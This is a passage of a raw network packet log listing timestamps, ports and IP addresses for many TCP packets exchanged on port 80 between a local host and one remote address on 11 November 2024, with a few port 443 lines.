Nov 11, 2024 12:40:29.495543003 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495557070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495562077 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495572090 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495584011 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495589972 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495596886 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495609045 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495620012 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495625973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495636940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495646954 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495650053 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495660067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495667934 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495671988 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495682001 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495687008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495698929 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495709896 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495712042 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495723009 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495735884 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495735884 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495748997 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495758057 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495762110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495769978 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495801926 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.496606112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.496617079 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.496628046 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.496651888 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.496679068 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.496687889 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.496691942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.496704102 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.496710062 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.496716976 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.496733904 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.496737003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.496747971 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.496751070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.496761084 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.496763945 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.496777058 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.496782064 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.496790886 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.496793032 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.496813059 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.496840000 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.496933937 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.496951103 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.496968031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.496984959 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.496993065 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.496998072 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497009993 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497021914 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497023106 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497035027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497045994 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497046947 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497057915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497070074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497075081 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497082949 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497092962 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497096062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497107983 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497112036 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497127056 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497138023 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497148037 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497149944 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497158051 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497163057 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497174025 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497180939 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497193098 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497205019 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497210979 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497221947 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497231960 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497234106 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497245073 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497251987 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497257948 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497268915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497279882 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497282028 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497292042 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497303963 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497304916 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497315884 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497315884 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497330904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497348070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497354031 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497361898 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497375011 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497379065 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497386932 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497395039 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497399092 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497411013 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497421980 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497422934 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497435093 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497446060 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497451067 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497457981 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497463942 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497467995 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497478962 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497479916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497493029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497508049 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497509003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497523069 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497530937 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497534990 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497548103 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497555971 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497560024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497571945 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497577906 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497584105 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497596979 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497606993 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497606993 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497618914 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497622013 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497632027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497644901 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497646093 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497656107 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497667074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497678995 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497679949 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497693062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497695923 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497704983 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497716904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497718096 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497728109 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497740030 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497750998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497751951 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497764111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497766972 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497776031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497790098 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497801065 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497802973 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497802973 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497812986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497829914 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497833014 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497843027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497853994 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497853994 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497868061 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497879028 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497881889 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497890949 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497896910 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497904062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497916937 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497924089 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497927904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497939110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497951984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497972965 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.497973919 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497987032 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.497996092 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498007059 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498018026 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498023033 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498035908 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498035908 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498049021 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498060942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498060942 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498073101 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498075962 CET	443	49895	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.498084068 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498084068 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498096943 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498107910 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498110056 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498122931 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498133898 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498133898 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498146057 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498157024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498162985 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498166084 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498178959 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498181105 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498191118 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498202085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498208046 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498213053 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498219013 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498224974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498241901 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498250008 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498260975 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498262882 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498271942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498289108 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498294115 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498301983 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498312950 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498315096 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498325109 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498337984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498358011 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498364925 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498370886 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498378038 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498389959 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498399973 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498403072 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498416901 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498425007 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498428106 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498445034 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498451948 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498456955 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498469114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498482943 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498486042 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498497963 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498498917 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498509884 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498512030 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498524904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498536110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498548031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498549938 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498555899 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498560905 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498574972 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498585939 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498586893 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498596907 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498596907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498610020 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498621941 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498625040 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498634100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498645067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498655081 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498657942 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498657942 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498667955 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498680115 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498684883 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498718977 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498750925 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498761892 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498773098 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498795986 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498814106 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498903036 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498914957 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498925924 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498936892 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498949051 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498960018 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498970032 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498975992 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.498987913 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.498991966 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499001026 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499008894 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499012947 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499032021 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499037981 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499043941 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499058962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499068022 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499070883 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499083996 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499102116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499113083 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499113083 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499133110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499142885 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499144077 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499156952 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499166012 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499186039 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499208927 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499227047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499239922 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499278069 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499337912 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499349117 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499360085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499361038 CET	443	49892	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.499371052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499382973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499383926 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499394894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499413967 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499429941 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499455929 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499476910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499489069 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499499083 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499510050 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499516964 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499522924 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499541998 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499550104 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499562025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499572039 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499573946 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499579906 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499593019 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499597073 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499604940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499617100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499627113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499629974 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499639988 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499641895 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499654055 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499664068 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499665022 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499676943 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499691010 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499717951 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.499731064 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499742031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.499752998 CET	80	49827	185.215.113.206	192.168.2.6
